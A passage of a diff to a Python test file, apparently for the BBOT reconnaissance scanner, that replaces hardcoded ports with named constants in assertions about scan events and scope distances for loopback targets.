for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.88:{HTTPSERVER_PORT}/"]) # 2 events from a single HTTP_RESPONSE events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( @@ -546,7 +561,7 @@ def custom_setup(scan): "scope": {"search_distance": 0, "report_distance": 0}, "excavate": True, "speculate": True, - "modules": {"speculate": {"ports": "8888"}}, + "modules": {"speculate": {"ports": f"{HTTPSERVER_PORT}"}}, "omit_event_types": ["HTTP_RESPONSE", "URL_UNVERIFIED"], }, ) @@ -555,120 +570,120 @@ def custom_setup(scan): assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.110"]) assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888"]) - assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.111:8888/"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.222:8889/"]) + assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.110:{HTTPSERVER_PORT}"]) + assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.111:{HTTPSERVER_PORT}" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in events if e.type == "URL" and e.url == f"http://127.0.0.111:{HTTPSERVER_PORT}/" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == f"127.0.0.111:{HTTPSERVER_PORT}"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.111:{HTTPSERVER_PORT}/"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.222:{HTTPSERVER_PORT_ALT}/"]) assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.33:8889/"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.33:{HTTPSERVER_PORT_ALT}/"]) assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888"]) - assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889"]) - assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888"]) - assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889"]) - assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.222:8889"]) - assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.33:8889"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.44:8888/"]) + assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.222:{HTTPSERVER_PORT}"]) + assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.222:{HTTPSERVER_PORT_ALT}"]) + assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.33:{HTTPSERVER_PORT}"]) + assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.33:{HTTPSERVER_PORT_ALT}"]) + assert 1 == len([e for e in events if e.type == "URL" and e.url == f"http://127.0.0.222:{HTTPSERVER_PORT_ALT}/" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == f"127.0.0.222:{HTTPSERVER_PORT_ALT}"]) + assert 1 == len([e for e in events if e.type == "URL" and e.url == f"http://127.0.0.33:{HTTPSERVER_PORT_ALT}/" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == f"127.0.0.33:{HTTPSERVER_PORT_ALT}"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.44:{HTTPSERVER_PORT}/"]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.44"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.55:8888/"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.55:{HTTPSERVER_PORT}/"]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.55"]) - assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888"]) - assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888"]) + assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.44:{HTTPSERVER_PORT}"]) + assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.55:{HTTPSERVER_PORT}"]) assert len(all_events) == 31 assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.110" and e.internal is True and e.scope_distance == 0]) assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888" and e.internal is True and e.scope_distance == 0]) - assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.110:{HTTPSERVER_PORT}" and e.internal is True and e.scope_distance == 0]) + assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.111:{HTTPSERVER_PORT}" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.url == f"http://127.0.0.111:{HTTPSERVER_PORT}/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == f"127.0.0.111:{HTTPSERVER_PORT}" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.111:{HTTPSERVER_PORT}/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.222:{HTTPSERVER_PORT_ALT}/" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.33:{HTTPSERVER_PORT_ALT}/" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.44:8888/" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.222:{HTTPSERVER_PORT}" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.222:{HTTPSERVER_PORT_ALT}" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.222:{HTTPSERVER_PORT_ALT}" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.33:{HTTPSERVER_PORT}" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.33:{HTTPSERVER_PORT_ALT}" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.33:{HTTPSERVER_PORT_ALT}" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.url == f"http://127.0.0.222:{HTTPSERVER_PORT_ALT}/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == f"http://127.0.0.222:{HTTPSERVER_PORT_ALT}/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.url == f"http://127.0.0.33:{HTTPSERVER_PORT_ALT}/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == f"http://127.0.0.33:{HTTPSERVER_PORT_ALT}/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.44:{HTTPSERVER_PORT}/" and e.internal is True and e.scope_distance == 1]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.44" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.55:8888/" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.55:{HTTPSERVER_PORT}/" and e.internal is True and e.scope_distance == 1]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.55" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.44:{HTTPSERVER_PORT}" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.55:{HTTPSERVER_PORT}" and e.internal is True and e.scope_distance == 1]) assert len(all_events_nodups) == 27 assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.110" and e.internal is True and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.110:{HTTPSERVER_PORT}" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.111:{HTTPSERVER_PORT}" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == f"http://127.0.0.111:{HTTPSERVER_PORT}/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == f"127.0.0.111:{HTTPSERVER_PORT}" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.111:{HTTPSERVER_PORT}/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.222:{HTTPSERVER_PORT_ALT}/" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.33:{HTTPSERVER_PORT_ALT}/" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.44:8888/" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.222:{HTTPSERVER_PORT}" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.222:{HTTPSERVER_PORT_ALT}" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.33:{HTTPSERVER_PORT}" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.33:{HTTPSERVER_PORT_ALT}" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == f"http://127.0.0.222:{HTTPSERVER_PORT_ALT}/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == f"http://127.0.0.222:{HTTPSERVER_PORT_ALT}/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == f"http://127.0.0.33:{HTTPSERVER_PORT_ALT}/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == f"http://127.0.0.33:{HTTPSERVER_PORT_ALT}/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.44:{HTTPSERVER_PORT}/" and e.internal is True and e.scope_distance == 1]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.44" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.55:8888/" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.55:{HTTPSERVER_PORT}/" and e.internal is True and e.scope_distance == 1]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.55" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.44:{HTTPSERVER_PORT}" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.55:{HTTPSERVER_PORT}" and e.internal is True and e.scope_distance == 1]) for _graph_output_events in (graph_output_events, graph_output_batch_events): assert len(_graph_output_events) == 12 assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.110"]) assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888"]) - assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.111:8888/"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.222:8889/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.110:{HTTPSERVER_PORT}"]) + assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.111:{HTTPSERVER_PORT}" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == f"http://127.0.0.111:{HTTPSERVER_PORT}/" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == f"127.0.0.111:{HTTPSERVER_PORT}"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.111:{HTTPSERVER_PORT}/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.222:{HTTPSERVER_PORT_ALT}/"]) assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.33:8889/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.33:{HTTPSERVER_PORT_ALT}/"]) assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33"]) - assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888"]) - assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889"]) - assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888"]) - assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889"]) - assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.222:8889"]) - assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.33:8889"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.44:8888/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.222:{HTTPSERVER_PORT}"]) + assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.222:{HTTPSERVER_PORT_ALT}"]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.33:{HTTPSERVER_PORT}"]) + assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.33:{HTTPSERVER_PORT_ALT}"]) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == f"http://127.0.0.222:{HTTPSERVER_PORT_ALT}/" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == f"127.0.0.222:{HTTPSERVER_PORT_ALT}"]) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == f"http://127.0.0.33:{HTTPSERVER_PORT_ALT}/" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == f"127.0.0.33:{HTTPSERVER_PORT_ALT}"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.44:{HTTPSERVER_PORT}/"]) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.44"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.55:8888/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.55:{HTTPSERVER_PORT}/"]) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.55"]) - assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888"]) - assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888"]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.44:{HTTPSERVER_PORT}"]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.55:{HTTPSERVER_PORT}"]) # sslcert with in-scope chain events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( - "127.0.0.0/31", modules=["sslcert"], _config={"scope": {"report_distance": 0}, "speculate": True, "modules": {"speculate": {"ports": "9999"}}}, _dns_mock={"www.bbottest.notreal": {"A": ["127.0.1.0"]}, "test.notreal": {"A": ["127.0.0.1"]}} + "127.0.0.0/31", modules=["sslcert"], _config={"scope": {"report_distance": 0}, "speculate": True, "modules": {"speculate": {"ports": f"{HTTPSERVER_SSL_PORT}"}}}, _dns_mock={"www.bbottest.notreal": {"A": ["127.0.1.0"]}, "test.notreal": {"A": ["127.0.0.1"]}} ) # sslcert now watches HTTP_RESPONSE, which auto-enables the http module. @@ -677,68 +692,68 @@ def custom_setup(scan): assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1"]) - assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999"]) - assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999"]) + assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.0:{HTTPSERVER_SSL_PORT}"]) + assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == HTTPSERVER_SSL_HOSTPORT]) assert 1 == len([e for e in events if e.type == "HTTP_RESPONSE" and str(e.module) == "http"]) assert 1 == len([e for e in events if e.type == "URL" and str(e.module) == "http"]) assert 1 == len([e for e in events if e.type == "URL_UNVERIFIED" and str(e.module) == "speculate"]) assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 and str(e.module) == "sslcert"]) assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "www.bbottest.notreal" and e.internal is False and e.scope_distance == 1 and str(e.module) == "sslcert" and "affiliate" in e.tags]) - assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "test.notreal:9999"]) + assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == f"test.notreal:{HTTPSERVER_SSL_PORT}"]) assert 0 == len([e for e in events if e.type == "DNS_NAME_UNRESOLVED" and e.data == "notreal"]) assert len(all_events) == 16 assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 